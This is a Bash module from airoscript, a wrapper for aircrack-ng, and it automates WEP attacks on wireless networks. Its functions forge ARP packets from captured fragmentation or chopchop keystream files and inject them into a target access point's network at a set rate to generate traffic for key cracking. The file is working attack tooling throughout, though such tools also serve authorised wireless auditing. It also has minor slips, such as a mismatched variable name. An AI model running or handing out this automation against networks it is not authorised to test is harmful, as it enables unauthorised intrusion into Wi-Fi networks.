# Autocrack functions file for airoscript.

# Copyright (C) 2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

# This is for iNJECTION  (8)  option
injectmenu(){
    $clear
    while true; do
        ls -lah $DUMP_PATH/fragment-*.xor &>/dev/null
        [[ $? != 0 ]] && { warn  "${mark}Can't open fragmentation xor files. Returning"; echo;  return; }
        if [ "$1" == "frag" ]; then
            if [ "$AUTO" == 1 ]; then
                if [ "$Client_MAC" != "" ]; then fragend $Client_MAC; return; fi
                if [ "$FAKE_MAC" != "" ]; then fragend $FAKE_MAC; return; fi
                return
            fi

            mkmenu "Frag Injection" "Frag with client injection"   "Return to main menu"
            case $choice in
                1 ) fragend $Client_MAC ; break ;;
                2 ) fragend $FAKE_MAC; break ;;
                * ) $clear; break;;
            esac
        fi
        if [ "$1" == "chopchop" ]; then
            if [ "$AUTO" == 1 ]; then
                if [ "$Client_MAC" != "" ]; then chopchopend $Client_MAC; return; fi
                if [ "$FAKE_MAC" != "" ]; then chopchopend $FAKE_MAC; return; fi
                return
            fi

            mkmenu "Chopchop injection" "Chopchop with client inj."  "Return to main menu"
            case $choice in
                1 ) chopchopend $FAKE_MAC ; break ;;
                2 ) chopchopend $CLIENT_MAC ; break ;;
               * ) $clear; break;;
            esac
        fi
    done
}

fragend(){
    if [ "$Host_MAC" = "" ]; then
        $clear && warn "${mark}ERROR: You must select a target first"
    else
        $ARPFORGE -0 -a $Host_MAC -h $FAKE_MAC -k $Client_IP -l $Host_IP -y $DUMP_PATH/fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap
        execute "Fragmentation without client" $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi 
    fi
}

chopchopend(){
    if [ "$Host_MAC" = "" ]; then
        $clear && warn "${mark}ERROR: You must select a target first"
    else
        $ARPFORGE -0 -a $Host_MAC -h $Client_MAC -k $Client_IP -l $Host_IP -y $DUMP_PATH/fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap
        rm -rf $DUMP_PATH/chopchop_$Host_MAC*
        $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -w $DUMP_PATH/chopchop_$Host_MAC.cap -y *.xor	
        execute "ChopChop End" $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi 
    fi
}

